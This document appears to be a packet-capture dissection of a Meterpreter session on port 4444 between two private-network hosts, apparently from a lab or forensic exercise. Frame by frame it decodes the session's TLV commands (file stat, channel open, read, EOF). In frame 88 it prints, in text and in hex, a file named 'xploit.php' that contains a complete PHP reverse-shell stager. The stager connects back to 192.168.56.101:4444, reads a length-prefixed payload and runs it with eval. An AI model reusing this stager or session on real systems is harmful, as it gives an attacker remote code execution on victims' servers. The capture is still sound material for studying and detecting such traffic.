Frame 82: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 4639, Ack: 3640, Len: 136
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000088 [Command length]: 136
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 00000029000100023738313336383231343036363034373738... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 37383133363832313430363630343738363639333434323338... [Value] 78136821406604786693442381694645
Meterpreter protocol, TLV details
    Data: 00000034800004c402000000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b68101000000000000000002000000b6030000... [Value] ⍰��⍰⍰�⍰ʷzWt<�WʷzW��������
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 b0 0c ff 40 00 80 06 69 a5 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 af 75 2e 7d 20 ab 50 18   .*.P.\.x.u.} .P.
0030  08 02 9a cf 00 00 00 00 00 88 00 00 00 01 00 00   ................
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 37 38 31   stat....)....781
0060  33 36 38 32 31 34 30 36 36 30 34 37 38 36 36 39   3682140660478669
0070  33 34 34 32 33 38 31 36 39 34 36 34 35 00 00 00   3442381694645...
0080  00 34 80 00 04 c4 02 00 00 00 00 00 b6 81 01 00   .4..............
0090  00 00 00 00 00 00 02 00 00 00 b6 03 00 00 ca ac   ................
00a0  7a 57 74 3c af 57 ca ac 7a 57 ff ff ff ff ff ff   zWt<.W..zW......
00b0  ff ff 00 00 00 0c 00 02 00 04 00 00 00 00         ..............
```

```
     83 2091.672797    192.168.1.42          192.168.1.41          MTRPROT  207    4444 → 50768 [PSH, ACK] Seq=3640 Ack=4775 Win=107
Len=153
Frame 83: 207 bytes on wire (1656 bits), 207 bytes captured (1656 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3640, Ack: 4775, Len: 153
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000099 [Command length]: 153
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
    Data: 0000002900010002343831343934343834333337393336 34... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 343831343934343834333337393336343333393737303836... [Value] 4814944843379364339770860785836 8
Meterpreter protocol, TLV details
    Data: 00000017000100337374646170695f66735f66696c65 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010033 [Type: Request]: TLV_TYPE_CHANNEL_TYPE
    Data: 7374646170695f66735f66696c6500 [Value] stdapi_fs_file
Meterpreter protocol, TLV details
    Data: 0000000c00020036000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020036 [Type: Request]: TLV_TYPE_CHANNEL_CLASS
    Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
    Data: 0000000c0002001b000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x0002001b [Type: Request]: TLV_TYPE_FLAGS
    Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
    Data: 00000013000104b278706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 78706c6f69742e70687000 [Value] xploit.php
Meterpreter protocol, TLV details
    Data: 0000000c000104b3726262 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000104b3 [Type: Request]: TLV_TYPE_FILE_MODE
    Data: 72626200 [Value] 1919050240
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 c1 64 32 40 00 40 06 52 61 c0 a8 01 2a c0 a8   ..d2@.@.Ra...*..
0020  01 29 11 5c c6 50 2e 7d 20 ab a3 78 af fd 50 18   .).\.P.} ..x..P.
0030  00 6b 84 57 00 00 00 00 00 99 00 00 00 00 00 00   .k.W............
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 6f 70 65 6e 00 00 00 00 29 00 01 00 02   el_open....)....
0060  34 38 31 34 39 34 34 38 34 33 33 37 39 33 36 34   4814944843379364
0070  33 33 39 37 37 30 38 36 30 37 38 35 38 33 36 38   3397708607858368
0080  00 00 00 00 17 00 01 00 33 73 74 64 61 70 69 5f   ........3stdapi_
0090  66 73 5f 66 69 6c 65 00 00 00 00 0c 00 02 00 36   fs_file........6
00a0  00 00 00 03 00 00 00 0c 00 02 00 1b 00 00 00 01   ................
00b0  00 00 00 13 00 01 04 b2 78 70 6c 6f 69 74 2e 70   ........xploit.p
00c0  68 70 00 00 00 00 0c 00 01 04 b3 72 62 62 00      hp.........rbb.
```

```
     84 2091.676908    192.168.1.41          192.168.1.42          MTRPROT  153    50768 → 4444 [PSH, ACK] Seq=4775 Ack=3793
Win=2049 Len=99
Frame 84: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 4775, Ack: 3793, Len: 99
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000063 [Command length]: 99
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
    Data: 0000002900010002343831343934343834333337393336 34... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 34383134393434383433333739333634333339373737303836... [Value] 48149448433793643397708607858368
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Response]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 8b 0d 00 40 00 80 06 69 c9 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 af fd 2e 7d 21 44 50 18   .*.P.\.x...}!DP.
0030  08 01 4a 97 00 00 00 00 00 63 00 00 00 01 00 00   ..J......c......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 6f 70 65 6e 00 00 00 00 29 00 01 00 02   el_open....)....
0060  34 38 31 34 39 34 34 38 34 33 33 37 39 33 36 34   4814944843379364
0070  33 33 39 37 37 30 38 36 30 37 38 35 38 33 36 38   3397708607858368
0080  00 00 00 00 0c 00 02 00 32 00 00 00 00 00 00 00   ........2.......
0090  0c 00 02 00 04 00 00 00 00                        .........
```

```
     85 2091.776225    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=3793 Ack=4874 Win=107
Len=86
Frame 85: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3793, Ack: 4874, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023135343537333733383435353133363... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3135343537333733383435353133363638373631303837 33... [Value] 154573738455136687610873954320 88
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 34 40 00 40 06 52 a2 c0 a8 01 2a c0 a8   .~d4@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 21 44 a3 78 b0 60 50 18   .).\.P.}!D.x.`P.
0030  00 6b 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .k.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  35 34 35 37 33 37 33 38 34 35 35 31 33 36 36 38   5457373845513668
0070  37 36 31 30 38 37 33 39 35 34 33 32 30 38 38 00   761087395432088.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     86 2091.777548    192.168.1.41          192.168.1.42          MTRPROT  149    50768 → 4444 [PSH, ACK] Seq=4874 Ack=3879
Win=2049 Len=95
Frame 86: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 4874, Ack: 3879, Len: 95
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005f [Command length]: 95
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313534353733373338343535313336... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 31353435373337333834353531333636383736313038373733... [Value] 15457373845513668761087395432088
Meterpreter protocol, TLV details
    Data: 000000090008000c [TLV]
    Command: 0x00000009 [Length]: 9
    Type: 0x0008000c [Type: Response]: TLV_TYPE_BOOL
    Data: 00 [Value]
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 87 0d 01 40 00 80 06 69 cc c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 b0 60 2e 7d 21 9a 50 18   .*.P.\.x.`.}!.P.
0030  08 01 e0 fc 00 00 00 00 00 5f 00 00 00 01 00 00   ........._......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  35 34 35 37 33 37 33 38 34 35 35 31 33 36 36 38   5457373845513668
0070  37 36 31 30 38 37 33 39 35 34 33 32 30 38 38 00   761087395432088.
0080  00 00 00 09 00 08 00 0c 00 00 00 00 0c 00 02 00   ................
0090  04 00 00 00 00                                    .....
```

```
     87 2091.878637    192.168.1.42          192.168.1.41          MTRPROT  153    4444 → 50768 [PSH, ACK] Seq=3879 Ack=4969 Win=107
Len=99
Frame 87: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3879, Ack: 4969, Len: 99
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000063 [Command length]: 99
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 00000029000100023739393335343234393133303233363630... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3739393335343234393133303233363034323336343336353... [Value] 79935424913023604236436548600597
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
Meterpreter protocol, TLV details
    Data: 0000000c00020019000100 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
    Data: 00010000 [Value] 65536
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8b 64 36 40 00 40 06 52 93 c0 a8 01 2a c0 a8   ..d6@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 21 9a a3 78 b0 bf 50 18   .).\.P.}!..x..P.
0030  00 6b 84 21 00 00 00 00 00 63 00 00 00 00 00 00   .k.!.....c......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 72 65 61 64 00 00 00 00 29 00 01 00 02   el_read....)....
0060  37 39 39 33 35 34 32 34 39 31 33 30 32 33 36 30   7993542491302360
0070  34 32 33 36 34 33 36 35 34 38 36 30 30 35 39 37   4236436548600597
0080  00 00 00 00 0c 00 02 00 32 00 00 00 00 00 00 00   ........2.......
0090  0c 00 02 00 19 00 01 00 00                        .........
```

```
     88 2091.886595    192.168.1.41          192.168.1.42          MTRPROT  1099   50768 → 4444 [PSH, ACK] Seq=4969 Ack=3978
Win=2049 Len=1045
Frame 88: 1099 bytes on wire (8792 bits), 1099 bytes captured (8792 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 4969, Ack: 3978, Len: 1045
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000415 [Command length]: 1045
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 00000029000100023739393335343234393133303233363630... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 373939333534323439313330323336303432333634333635... [Value] 7993542491302360423643654860597
Meterpreter protocol, TLV details
    Data: 000003be000400342f2a3c3f706870202f2a2a2f20657272... [TLV]
    Command: 0x000003be [Length]: 958
    Type: 0x00040034 [Type: Response]: TLV_TYPE_CHANNEL_DATA
    Data: 2f2a3c3f706870202f2a2a2f206572726f725f7265706f72... [Value] /*<?php /**/ error_reporting(0); $ip = '192.168.56.101'; $port
= 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'str
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  04 3d 0d 02 40 00 80 06 66 15 c0 a8 01 29 c0 a8   .=..@...f....)..
0020  01 2a c6 50 11 5c a3 78 b0 bf 2e 7d 21 fd 50 18   .*.P.\.x...}!.P.
0030  08 01 9d cd 00 00 00 00 04 15 00 00 00 01 00 00   ................
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 72 65 61 64 00 00 00 00 29 00 01 00 02   el_read....)....
0060  37 39 39 33 35 34 32 34 39 31 33 30 32 33 36 30   7993542491302360
0070  34 32 33 36 34 33 36 35 34 38 36 30 30 35 39 37   4236436548600597
0080  00 00 00 03 be 00 04 00 34 2f 2a 3c 3f 70 68 70   ........4/*<?php
0090  20 2f 2a 2a 2f 20 65 72 72 6f 72 5f 72 65 70 6f    /**/ error_repo
00a0  72 74 69 6e 67 28 30 29 3b 20 24 69 70 20 3d 20   rting(0); $ip = 
00b0  27 31 39 32 2e 31 36 38 2e 35 36 2e 31 30 31 27   '192.168.56.101'
00c0  3b 20 24 70 6f 72 74 20 3d 20 34 34 34 34 3b 20   ; $port = 4444; 
00d0  69 66 20 28 28 24 66 20 3d 20 27 73 74 72 65 61   if (($f = 'strea
00e0  6d 5f 73 6f 63 6b 65 74 5f 63 6c 69 65 6e 74 27   m_socket_client'
00f0  29 20 26 26 20 69 73 5f 63 61 6c 6c 61 62 6c 65   ) && is_callable
0100  28 24 66 29 29 20 7b 20 24 73 20 3d 20 24 66 28   ($f)) { $s = $f(
0110  22 74 63 70 3a 2f 2f 7b 24 69 70 7d 3a 7b 24 70   "tcp://{$ip}:{$p
0120  6f 72 74 7d 22 29 3b 20 24 73 5f 74 79 70 65 20   ort}"); $s_type 
0130  3d 20 27 73 74 72 65 61 6d 27 3b 20 7d 20 65 6c   = 'stream'; } el
0140  73 65 69 66 20 28 28 24 66 20 3d 20 27 66 73 6f   seif (($f = 'fso
0150  63 6b 6f 70 65 6e 27 29 20 26 26 20 69 73 5f 63   ckopen') && is_c
0160  61 6c 6c 61 62 6c 65 28 24 66 29 29 20 7b 20 24   allable($f)) { $
0170  73 20 3d 20 24 66 28 24 69 70 2c 20 24 70 6f 72   s = $f($ip, $por
0180  74 29 3b 20 24 73 5f 74 79 70 65 20 3d 20 27 73   t); $s_type = 's
0190  74 72 65 61 6d 27 3b 20 7d 20 65 6c 73 65 69 66   tream'; } elseif
01a0  20 28 28 24 66 20 3d 20 27 73 6f 63 6b 65 74 5f    (($f = 'socket_
01b0  63 72 65 61 74 65 27 29 20 26 26 20 69 73 5f 63   create') && is_c
01c0  61 6c 6c 61 62 6c 65 28 24 66 29 29 20 7b 20 24   allable($f)) { $
01d0  73 20 3d 20 24 66 28 41 46 5f 49 4e 45 54 2c 20   s = $f(AF_INET, 
01e0  53 4f 43 4b 5f 53 54 52 45 41 4d 2c 20 53 4f 4c   SOCK_STREAM, SOL
01f0  5f 54 43 50 29 3b 20 24 72 65 73 20 3d 20 40 73   _TCP); $res = @s
0200  6f 63 6b 65 74 5f 63 6f 6e 6e 65 63 74 28 24 73   ocket_connect($s
0210  2c 20 24 69 70 2c 20 24 70 6f 72 74 29 3b 20 69   , $ip, $port); i
0220  66 20 28 21 24 72 65 73 29 20 7b 20 64 69 65 28   f (!$res) { die(
0230  29 3b 20 7d 20 24 73 5f 74 79 70 65 20 3d 20 27   ); } $s_type = '
0240  73 6f 63 6b 65 74 27 3b 20 7d 20 65 6c 73 65 20   socket'; } else 
0250  7b 20 64 69 65 28 27 6e 6f 20 73 6f 63 6b 65 74   { die('no socket
0260  20 66 75 6e 63 73 27 29 3b 20 7d 20 69 66 20 28    funcs'); } if (
0270  21 24 73 29 20 7b 20 64 69 65 28 27 6e 6f 20 73   !$s) { die('no s
0280  6f 63 6b 65 74 27 29 3b 20 7d 20 73 77 69 74 63   ocket'); } switc
0290  68 20 28 24 73 5f 74 79 70 65 29 20 7b 20 63 61   h ($s_type) { ca
02a0  73 65 20 27 73 74 72 65 61 6d 27 3a 20 24 6c 65   se 'stream': $le
02b0  6e 20 3d 20 66 72 65 61 64 28 24 73 2c 20 34 29   n = fread($s, 4)
02c0  3b 20 62 72 65 61 6b 3b 20 63 61 73 65 20 27 73   ; break; case 's
02d0  6f 63 6b 65 74 27 3a 20 24 6c 65 6e 20 3d 20 73   ocket': $len = s
02e0  6f 63 6b 65 74 5f 72 65 61 64 28 24 73 2c 20 34   ocket_read($s, 4
02f0  29 3b 20 62 72 65 61 6b 3b 20 7d 20 69 66 20 28   ); break; } if (
0300  21 24 6c 65 6e 29 20 7b 20 64 69 65 28 29 3b 20   !$len) { die(); 
0310  7d 20 24 61 20 3d 20 75 6e 70 61 63 6b 28 22 4e   } $a = unpack("N
0320  6c 65 6e 22 2c 20 24 6c 65 6e 29 3b 20 24 6c 65   len", $len); $le
0330  6e 20 3d 20 24 61 5b 27 6c 65 6e 27 5d 3b 20 24   n = $a['len']; $
0340  62 20 3d 20 27 27 3b 20 77 68 69 6c 65 20 28 73   b = ''; while (s
0350  74 72 6c 65 6e 28 24 62 29 20 3c 20 24 6c 65 6e   trlen($b) < $len
```

```
0360  29 20 7b 20 73 77 69 74 63 68 20 28 24 73 5f 74   ) { switch ($s_t
0370  79 70 65 29 20 7b 20 63 61 73 65 20 27 73 74 72   ype) { case 'str
0380  65 61 6d 27 3a 20 24 62 20 2e 3d 20 66 72 65 61   eam': $b .= frea
0390  64 28 24 73 2c 20 24 6c 65 6e 2d 73 74 72 6c 65   d($s, $len-strle
03a0  6e 28 24 62 29 29 3b 20 62 72 65 61 6b 3b 20 63   n($b)); break; c
03b0  61 73 65 20 27 73 6f 63 6b 65 74 27 3a 20 24 62   ase 'socket': $b
03c0  20 2e 3d 20 73 6f 63 6b 65 74 5f 72 65 61 64 28    .= socket_read(
03d0  24 73 2c 20 24 6c 65 6e 2d 73 74 72 6c 65 6e 28   $s, $len-strlen(
03e0  24 62 29 29 3b 20 62 72 65 61 6b 3b 20 7d 20 7d   $b)); break; } }
03f0  20 24 47 4c 4f 42 41 4c 53 5b 27 6d 73 67 73 6f    $GLOBALS['msgso
0400  63 6b 27 5d 20 3d 20 24 73 3b 20 24 47 4c 4f 42   ck'] = $s; $GLOB
0410  41 4c 53 5b 27 6d 73 67 73 6f 63 6b 5f 74 79 70   ALS['msgsock_typ
0420  65 27 5d 20 3d 20 24 73 5f 74 79 70 65 3b 20 65   e'] = $s_type; e
0430  76 61 6c 28 24 62 29 3b 20 64 69 65 28 29 3b 00   val($b); die();.
0440  00 00 0c 00 02 00 04 00 00 00 00                 ...........
```

```
     89 2092.040732    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=3978 Ack=6014 Win=110
Len=86
Frame 89: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3978, Ack: 6014, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002373738333335313731313732373633334... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3737383333353137313137323736333435373031383034438... [Value] 77833517117276345701804838392612
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 38 40 00 40 06 52 9e c0 a8 01 2a c0 a8   .~d8@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 21 fd a3 78 b4 d4 50 18   .).\.P.}!..x..P.
0030  00 6e 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .n.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  37 38 33 33 35 31 37 31 31 37 32 37 36 33 34 35   7833517117276345
0070  37 30 31 38 30 34 38 33 38 33 39 32 36 31 32 00   701804838392612.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     90 2092.041626    192.168.1.41          192.168.1.42          MTRPROT  149    50768 → 4444 [PSH, ACK] Seq=6014 Ack=4064
Win=2048 Len=95
Frame 90: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6014, Ack: 4064, Len: 95
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005f [Command length]: 95
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002373738333335313731313732373633345... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 37373833333531373131373237363334353730313830343438... [Value] 77833517117276345701804838392612
Meterpreter protocol, TLV details
    Data: 000000090008000c [TLV]
    Command: 0x00000009 [Length]: 9
    Type: 0x0008000c [Type: Response]: TLV_TYPE_BOOL
    Data: 01 [Value] ⍰
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
